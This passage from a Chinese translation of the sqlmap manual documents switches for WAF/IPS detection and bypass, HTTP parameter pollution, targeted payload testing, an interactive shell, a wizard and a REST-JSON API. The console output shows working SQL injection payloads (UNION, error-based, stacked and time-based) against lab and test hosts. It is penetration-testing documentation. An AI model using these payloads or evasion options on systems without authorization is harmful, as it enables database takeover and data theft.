  434. r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
  435. p/ibm-db/
  436. [xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa
  437. rty library in order to directly connect to the DBMS HSQLDB. Download from https
  438. ://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
  439. [xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
  440. r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
  441. googlecode.com/
  442. [xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
  443. er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
  444. mssql.sourceforge.net/
  445. [xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
  446. an to attack a web application behind NTLM authentication. Download from http://
  447. code.google.com/p/python-ntlm/
  448. [xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
  449. ou plan to attack a web application using WebSocket. Download from https://pypi.
  450. python.org/pypi/websocket-client/
  451. 禁用控制台输出着色
  452. 开关: --disable-coloring

  453. 缺省情况下,sqlmap在写入控制台时使用着色。如果出现不良效果(例如,控制台外观出现未解释的ANSI着色代码,例如\x01\x1b[0;32m\x02[INFO]),则可以使用此开关禁用控制台输出颜色。

  454. 使用指定页码的Google dork结果
  455. 选项: --gpage

  456. 带有选项的默认sqlmap行为-g是进行Google搜索,并使用前100个结果URL进行进一步的SQL注入测试。但是,结合使用此选项,您可以使用此选项(--gpage)指定除第一个页面之外的其他页面以从中检索目标URL。

  457. 使用HTTP参数污染
  458. 开关: --hpp

  459. HTTP参数污染(HPP)是一种绕过WAF / IPS保护机制(在此说明)的方法,该机制对ASP / IIS和ASP.NET/IIS平台特别有效。如果您怀疑目标位于此类保护的后面,则可以尝试使用此开关绕过目标。

  460. 对WAF / IPS防护进行彻底的测试
  461. 开关: --identify-waf

  462. sqlmap可以尝试识别后端WAF / IPS保护(如果有),以便用户可以执行适当的步骤(例如,将篡改脚本与一起使用--tamper)。当前支持大约30种不同的产品(气锁,梭子鱼WAF等),并且可以在waf目录中找到它们各自的WAF脚本。

  463. 针对受ModSecurity WAF保护的MySQL目标的示例:

  464. $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\
  465. dentify-waf -v 3
  466. [...]
  467. [xx:xx:23] [INFO] testing connection to the target URL
  468. [xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
  469. [xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS protection
  470. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'USP Secure Entry Server (Un
  471. ited Security Providers)'
  472. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'BinarySEC Web Application F
  473. irewall (BinarySEC)'
  474. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'NetContinuum Web Applicatio
  475. n Firewall (NetContinuum/Barracuda Networks)'
  476. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'Hyperguard Web Application
  477. Firewall (art of defence Inc.)'
  478. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'Cisco ACE XML Gateway (Cisc
  479. o Systems)'
  480. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'TrafficShield (F5 Networks)
  481. '
  482. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'Teros/Citrix Application Fi
  483. rewall Enterprise (Teros/Citrix Systems)'
  484. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'KONA Security Solutions (Ak
  485. amai Technologies)'
  486. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'Incapsula Web Application F
  487. irewall (Incapsula/Imperva)'
  488. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'CloudFlare Web Application
  489. Firewall (CloudFlare)'
  490. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'Barracuda Web Application F
  491. irewall (Barracuda Networks)'
  492. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'webApp.secure (webScurity)'
  493. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'Proventia Web Application S
  494. ecurity (IBM)'
  495. [xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
  496. [xx:xx:23] [DEBUG] page not found (404)
  497. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'KS-WAF (Knownsec)'
  498. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'NetScaler (Citrix Systems)'
  499. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'Jiasule Web Application Fir
  500. ewall (Jiasule)'
  501. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'WebKnight Application Firew
  502. all (AQTRONIX)'
  503. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'AppWall (Radware)'
  504. [xx:xx:23] [DEBUG] checking for WAF/IPS product 'ModSecurity: Open Source We
  505. b Application Firewall (Trustwave)'
  506. [xx:xx:23] [CRITICAL] WAF/IPS identified 'ModSecurity: Open Source Web Appli
  507. cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-
  508. -tamper')
  509. [...]
  510. 跳过启发式检测WAF / IPS保护

  511. 开关: --skip-waf

  512. 默认情况下,sqlmap自动在启动请求之一内发送一个虚拟参数值,该参数值包含故意的“可疑” SQL注入有效负载(例如...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1)。如果目标的响应与原始请求的响应不同,则很有可能受到某种保护。如有任何问题,用户可以通过提供switch禁用此机制--skip-waf。

  513. 模仿智能手机
  514. 开关: --mobile

  515. 有时,Web服务器与台式机相比,面向移动电话的界面不同。在这种情况下,您可以强制使用预定的智能手机HTTP User-Agent标头值之一。通过使用此开关,sqlmap会要求您选择在当前运行中将模仿的流行智能手机之一。

  516. 示例运行:

  517. $ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
  518. [...]
  519. which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
  520. [1] Apple iPhone 4s (default)
  521. [2] BlackBerry 9900
  522. [3] Google Nexus 7
  523. [4] HP iPAQ 6365
  524. [5] HTC Sensation
  525. [6] Nokia N97
  526. [7] Samsung Galaxy S
  527. > 1
  528. [...]
  529. 在离线模式下工作(仅使用会话数据)
  530. 开关: --offline

  531. 通过使用开关,--offlinesqlmap将仅在数据枚举中使用以前的会话数据。这基本上意味着在这种运行期间将进行零次连接尝试。

  532. 从数据目录安全删除所有内容
  533. 开关 --purge

  534. 如果用户决定安全地从sqlmap的数据目录(例如$HOME/.local/share/sqlmap)中删除所有内容,其中包含先前sqlmap运行中的所有目标详细信息,则可以使用switch --purge。清除时,数据文件夹中(子)目录中的所有文件将被随机数据覆盖,被截断,重命名为随机名称,(子)目录也将重命名为随机名称,最后整个目录树将被删除。

  535. 示例运行:

  536. $ python sqlmap.py --purge -v 3
  537. [...]
  538. [xx:xx:55] [INFO] purging content of directory '/home/testuser/.local/share/sqlmap'...
  539. [xx:xx:55] [DEBUG] changing file attributes
  540. [xx:xx:55] [DEBUG] writing random data to files
  541. [xx:xx:55] [DEBUG] truncating files
  542. [xx:xx:55] [DEBUG] renaming filenames to random values
  543. [xx:xx:55] [DEBUG] renaming directory names to random values
  544. [xx:xx:55] [DEBUG] deleting the whole directory tree
  545. [...]
  546. 仅在启发式为正的情况下进行全面测试
  547. 开关 --smart

  548. 在某些情况下,用户拥有大量潜在的目标URL(例如,带有option -m),而他想尽快找到易受攻击的目标。如果使用开关--smart,则只会在扫描中进一步使用可引起DBMS错误的参数。否则,它们将被跳过。

  549. 针对MySQL目标的示例:

  550. $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\
  551. r=foo&id=1" --batch --smart
  552. [...]
  553. [xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
  554. [xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
  555. [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might
  556. not be injectable
  557. [xx:xx:14] [INFO] skipping GET parameter 'ca'
  558. [xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
  559. [xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
  560. [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh
  561. t not be injectable
  562. [xx:xx:14] [INFO] skipping GET parameter 'user'
  563. [xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
  564. [xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
  565. [xx:xx:14] [INFO] GET parameter 'id' is dynamic
  566. [xx:xx:14] [WARNING] reflective value(s) found and filtering out
  567. [xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
  568. injectable (possible DBMS: 'MySQL')
  569. [xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
  570. heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
  571. want to skip test payloads specific for other DBMSes? [Y/n] Y
  572. do you want to include all tests for 'MySQL' extending provided level (1) and ri
  573. sk (1)? [Y/n] Y
  574. [xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  575. [xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
  576. NG clause' injectable
  577. [xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  578. '
  579. [xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
  580. HAVING clause' injectable
  581. [xx:xx:14] [INFO] testing 'MySQL inline queries'
  582. [xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
  583. [xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
  584. [xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
  585. [xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
  586. jectable
  587. [xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
  588. [xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
  589. ique tests as there is at least one other potential injection technique found
  590. [xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
  591. time needed to find the right number of query columns. Automatically extending t
  592. he range for current UNION query injection technique test
  593. [xx:xx:24] [INFO] target URL appears to have 3 columns in query
  594. [xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
  595. mns' injectable
  596. [...]
  597. 通过有效载荷和/或标题选择(或跳过)测试
  598. 选项 --test-filter

  599. 如果要按测试的有效负载和/或标题过滤测试,可以使用此选项。例如,如果要测试所有ROW内部有关键字的有效负载,可以使用--test-filter=ROW。

  600. 针对MySQL目标的示例:

  601. $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\
  602. atch --test-filter=ROW
  603. [...]
  604. [xx:xx:39] [INFO] GET parameter 'id' is dynamic
  605. [xx:xx:39] [WARNING] reflective value(s) found and filtering out
  606. [xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
  607. injectable (possible DBMS: 'MySQL')
  608. [xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id'
  609. [xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
  610. '
  611. [xx:xx:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or
  612. HAVING clause' injectable
  613. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
  614. )? [y/N] N
  615. sqlmap identified the following injection points with a total of 3 HTTP(s) reque
  616. sts:
  617. ---
  618. Place: GET
  619. Parameter: id
  620.     Type: error-based
  621.     Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
  622.     Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
  623. T (C
  624.     ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
  625. M (S
  626.     ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY
  627. x)
  628. ---
  629. [...]
  630. 选项 --test-skip=TEST

  631. 如果要按测试的有效负载和/或标题跳过测试,可以使用此选项。例如,如果您想跳过所有BENCHMARK内部有关键字的有效负载,则可以使用--test-skip=BENCHMARK。

  632. 交互式sqlmap shell
  633. 开关: --sqlmap-shell

  634. 通过使用switch,--sqlmap-shell将为用户提供交互式sqlmap shell,该shell具有以前所有使用过的选项和/或开关运行的历史记录:

  635. $ python sqlmap.py --sqlmap-shell
  636. sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
  637. BEU --batch
  638.          _
  639. ___ ___| |_____ ___ ___  {1.0-dev-2188502}
  640. |_ -| . | |     | .'| . |
  641. |___|_  |_|_|_|_|__,|  _|
  642.       |_|           |_|   http://sqlmap.org

  643. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
  644. consent is illegal. It is the end user's responsibility to obey all applicable
  645. local, state and federal laws. Developers assume no liability and are not respon
  646. sible for any misuse or damage caused by this program

  647. [*] starting at xx:xx:11

  648. [xx:xx:11] [INFO] testing connection to the target URL
  649. [xx:xx:12] [INFO] testing if the target URL is stable
  650. [xx:xx:13] [INFO] target URL is stable
  651. [xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic
  652. [xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic
  653. [xx:xx:13] [INFO] GET parameter 'artist' is dynamic
  654. [xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might
  655. be injectable (possible DBMS: 'MySQL')
  656. [xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist'
  657. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
  658. ecific for other DBMSes? [Y/n] Y
  659. for the remaining tests, do you want to include all tests for 'MySQL' extending
  660. provided level (1) and risk (1) values? [Y/n] Y
  661. [xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  662. [xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind -
  663. WHERE or HAVING clause' injectable
  664. [xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
  665. Y or GROUP BY clause'
  666. [xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
  667. or GROUP BY clause'
  668. [xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
  669. Y or GROUP BY clause (EXTRACTVALUE)'
  670. [xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
  671. or GROUP BY clause (EXTRACTVALUE)'
  672. [xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
  673. Y or GROUP BY clause (UPDATEXML)'
  674. [xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
  675. or GROUP BY clause (UPDATEXML)'
  676. [xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
  677. Y or GROUP BY clause (EXP)'
  678. [xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
  679. XP)'
  680. [xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
  681. Y or GROUP BY clause (BIGINT UNSIGNED)'
  682. [xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
  683. IGINT UNSIGNED)'
  684. [xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
  685. Y or GROUP BY clause'
  686. [xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
  687. [xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
  688. [xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
  689. VALUE)'
  690. [xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
  691. [xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
  692. VALUE)'
  693. [xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
  694. ML)'
  695. [xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
  696. [xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT
  697. UNSIGNED)'
  698. [xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
  699. [xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
  700. ique tests as there is at least one other (potential) technique found
  701. [xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the
  702. time needed to find the right number of query columns. Automatically extending t
  703. he range for current UNION query injection technique test
  704. [xx:xx:15] [INFO] target URL appears to have 3 columns in query
  705. [xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2
  706. 0 columns' injectable
  707. GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if
  708. any)? [y/N] N
  709. sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
  710. quests:
  711. ---
  712. Parameter: artist (GET)
  713.     Type: boolean-based blind
  714.     Title: AND boolean-based blind - WHERE or HAVING clause
  715.     Payload: artist=1 AND 5707=5707

  716.     Type: UNION query
  717.     Title: Generic UNION query (NULL) - 3 columns
  718.     Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
  719. 26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
  720. NULL,NULL-- -
  721. ---
  722. [xx:xx:16] [INFO] testing MySQL
  723. [xx:xx:16] [INFO] confirming MySQL
  724. [xx:xx:16] [INFO] the back-end DBMS is MySQL
  725. web application technology: Nginx, PHP 5.3.10
  726. back-end DBMS: MySQL >= 5.0.0
  727. [xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
  728. p/output/testphp.vulnweb.com'
  729. sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
  730.          _
  731. ___ ___| |_____ ___ ___  {1.0-dev-2188502}
  732. |_ -| . | |     | .'| . |
  733. |___|_  |_|_|_|_|__,|  _|
  734.       |_|           |_|   http://sqlmap.org

  735. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
  736. consent is illegal. It is the end user's responsibility to obey all applicable
  737. local, state and federal laws. Developers assume no liability and are not respon
  738. sible for any misuse or damage caused by this program

  739. [*] starting at xx:xx:25

  740. [xx:xx:26] [INFO] resuming back-end DBMS 'mysql'
  741. [xx:xx:26] [INFO] testing connection to the target URL
  742. sqlmap resumed the following injection point(s) from stored session:
  743. ---
  744. Parameter: artist (GET)
  745.     Type: boolean-based blind
  746.     Title: AND boolean-based blind - WHERE or HAVING clause
  747.     Payload: artist=1 AND 5707=5707

  748.     Type: UNION query
  749.     Title: Generic UNION query (NULL) - 3 columns
  750.     Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
  751. 26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
  752. NULL,NULL-- -
  753. ---
  754. [xx:xx:26] [INFO] the back-end DBMS is MySQL
  755. [xx:xx:26] [INFO] fetching banner
  756. web application technology: Nginx, PHP 5.3.10
  757. back-end DBMS operating system: Linux Ubuntu
  758. back-end DBMS: MySQL 5
  759. banner:    '5.1.73-0ubuntu0.10.04.1'
  760. [xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
  761. p/output/testphp.vulnweb.com'
  762. sqlmap-shell> exit
  763. 面向初学者的简单向导界面
  764. 开关: --wizard

  765. 对于初学者,有一个向导界面,该界面使用简单的工作流程,且问题尽可能少。如果用户仅输入目标URL并使用默认答案(例如,通过按Enter),则他应在工作流结束之前具有正确设置的sqlmap运行环境。

  766. 针对Microsoft SQL Server目标的示例:

  767. $ python sqlmap.py --wizard

  768.     sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
  769.     http://sqlmap.org

  770. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
  771. consent is illegal. It is the end user's responsibility to obey all applicable
  772. local, state and federal laws. Developers assume no liability and are not respon
  773. sible for any misuse or damage caused by this program

  774. [*] starting at xx:xx:26

  775. Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in
  776. t.asp?id=1
  777. POST data (--data) [Enter for None]:
  778. Injection difficulty (--level/--risk). Please choose:
  779. [1] Normal (default)
  780. [2] Medium
  781. [3] Hard
  782. > 1
  783. Enumeration (--banner/--current-user/etc). Please choose:
  784. [1] Basic (default)
  785. [2] Smart
  786. [3] All
  787. > 1

  788. sqlmap is running, please wait..

  789. heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
  790. erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
  791. do you want to include all tests for 'Microsoft SQL Server' extending provided l
  792. evel (1) and risk (1)? [Y/n] Y
  793. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
  794. )? [y/N] N
  795. sqlmap identified the following injection points with a total of 25 HTTP(s) requ
  796. ests:
  797. ---
  798. Place: GET
  799. Parameter: id
  800.     Type: boolean-based blind
  801.     Title: AND boolean-based blind - WHERE or HAVING clause
  802.     Payload: id=1 AND 2986=2986

  803.     Type: error-based
  804.     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
  805.     Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
  806. HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
  807. )+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))

  808.     Type: UNION query
  809.     Title: Generic UNION query (NULL) - 3 columns
  810.     Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
  811. 00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
  812. CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)--

  813.     Type: stacked queries
  814.     Title: Microsoft SQL Server/Sybase stacked queries
  815.     Payload: id=1; WAITFOR DELAY '0:0:5'--

  816.     Type: AND/OR time-based blind
  817.     Title: Microsoft SQL Server/Sybase time-based blind
  818.     Payload: id=1 WAITFOR DELAY '0:0:5'--

  819.     Type: inline query
  820.     Title: Microsoft SQL Server/Sybase inline queries
  821.     Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT
  822. (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
  823. (109)+CHAR(113)+CHAR(58))
  824. ---
  825. web server operating system: Windows XP
  826. web application technology: ASP, Microsoft IIS 5.1
  827. back-end DBMS operating system: Windows XP Service Pack 2
  828. back-end DBMS: Microsoft SQL Server 2005
  829. banner:
  830. ---
  831. Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
  832.     Oct 14 2005 00:33:37
  833.     Copyright (c) 1988-2005 Microsoft Corporation
  834.     Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
  835. ---
  836. current user:    'sa'
  837. current database:    'testdb'
  838. current user is DBA:    True

  839. [*] shutting down at xx:xx:52
  840. API(REST-JSON)
  841. sqlmap可以通过REST-JSON API(API(用于应用程序接口的缩写))运行,该API使用JSON在服务器和客户端实例之间进行REST(对于表示状态传输的缩写)通信。简而言之,服务器运行sqlmap扫描,而客户端则设置sqlmap选项/开关并向后拉结果。用于运行API的主程序文件为sqlmapapi.py,而客户端也可以在任意用户程序内实现。

  842. $ python sqlmapapi.py -hh
  843. Usage: sqlmapapi.py [options]

  844. Options:
  845.   -h, --help            show this help message and exit
  846.   -s, --server          Act as a REST-JSON API server
  847.   -c, --client          Act as a REST-JSON API client
  848.   -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  849.   -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775)
  850.   --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")
  851. 服务器运行sqlmapapi.py通过使用交换机-s通过使用交换机,客户端-c,而在这两种情况下用户可以(可选)设置与听选择的IP地址-H(默认值"127.0.0.1"),并用监听端口选项-p(默认8775)。每个客户端的“会话”可以有多个“任务”(即sqlmap扫描运行),用户可以在其中任意选择当前应处于活动状态的任务。

  852. 在客户端的命令行界面中,可用命令为:

  853. help -显示可用命令列表以及基本帮助信息
  854. new ARGS-使用提供的参数(例如new -u "http://testphp.vulnweb.com/artists.php?artist=1")启动新的扫描任务
  855. use TASKID-将当前上下文切换到其他任务(例如use c04d8c5c7582efb4)
  856. data -检索并显示当前任务的数据
  857. log-检索并显示当前任务的日志
  858. status -检索并显示当前任务的状态
  859. stop -停止当前任务
  860. kill -杀死当前任务
  861. list -显示所有任务(针对当前会话)
  862. flush -刷新(即删除)所有任务
  863. exit -退出客户端界面
  864. 示例服务器运行:

  865. $ python sqlmapapi.py -s -H "0.0.0.0"
  866. [12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'..
  867. [12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
  868. [12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
  869. [12:47:51] [DEBUG] REST-JSON API server connected to IPC database
  870. [12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle
  871. [12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0'
  872. [12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
  873. [12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
  874. [12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
  875. [12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
  876. [12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages
  877. 客户端运行示例:

  878. $ python sqlmapapi.py -c -H "192.168.110.1"
  879. [12:47:53] [DEBUG] Example client access from command line:
  880.     $ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I '[a-f0-9
  881. ]\{16\}') && echo $taskid
  882.     $ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp
  883. hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st
  884. art
  885.     $ curl http://192.168.110.1:8775/scan/$taskid/data
  886.     $ curl http://192.168.110.1:8775/scan/$taskid/log
  887. [12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'..
  888. .
  889. [12:47:53] [DEBUG] Calling http://192.168.110.1:8775
  890. [12:47:53] [INFO] Type 'help' or '?' for list of available commands
  891. api> ?
  892. help        Show this help message
  893. new ARGS    Start a new scan task with provided arguments (e.g. 'new -u "http://
  894. testphp.vulnweb.com/artists.php?artist=1"')
  895. use TASKID  Switch current context to different task (e.g. 'use c04d8c5c7582efb4
  896. ')
  897. data        Retrieve and show data for current task
  898. log         Retrieve and show log for current task
  899. status      Retrieve and show status for current task
  900. stop        Stop current task
  901. kill        Kill current task
  902. list        Display all tasks
  903. flush       Flush tasks (delete all tasks)
  904. exit        Exit this client
  905. api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
  906. ession
  907. [12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
  908. [12:48:10] [INFO] New task ID is 'a42ddaef02e976f0'
  909. [12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
  910. [12:48:10] [INFO] Scanning started
  911. api (a42ddaef02e976f0)> status
  912. [12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
  913. s
  914. {
  915.     "status": "running",
  916.     "returncode": null,
  917.     "success": true
  918. }
  919. api (a42ddaef02e976f0)> status
  920. [12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
  921. s
  922. {
  923.     "status": "terminated",
  924.     "returncode": 0,
  925.     "success": true
  926. }
  927. api (a42ddaef02e976f0)> log
  928. [12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
  929. {
  930.     "log": [
  931.         {
  932.             "message": "flushing session file",
  933.             "level": "INFO",
  934.             "time": "12:48:10"
  935.         },
  936.         {
  937.             "message": "testing connection to the target URL",
  938.             "level": "INFO",
  939.             "time": "12:48:10"
  940.         },
  941.         {
  942.             "message": "checking if the target is protected by some kind of WAF/
  943. IPS",
  944.             "level": "INFO",
  945.             "time": "12:48:10"
  946.         },
  947.         {
  948.             "message": "testing if the target URL is stable",
  949.             "level": "INFO",
  950.             "time": "12:48:10"
  951.         },
  952.         {
  953.             "message": "target URL is stable",
  954.             "level": "INFO",
  955.             "time": "12:48:11"
  956.         },
  957.         {
  958.             "message": "testing if GET parameter 'artist' is dynamic",
  959.             "level": "INFO",
  960.             "time": "12:48:11"
  961.         },
  962.         {
  963.             "message": "confirming that GET parameter 'artist' is dynamic",
  964.             "level": "INFO",
  965.             "time": "12:48:11"
  966.         },
  967.         {
  968.             "message": "GET parameter 'artist' is dynamic",
  969.             "level": "INFO",
  970.             "time": "12:48:11"
  971.         },
  972.         {
  973.             "message": "heuristic (basic) test shows that GET parameter 'artist'
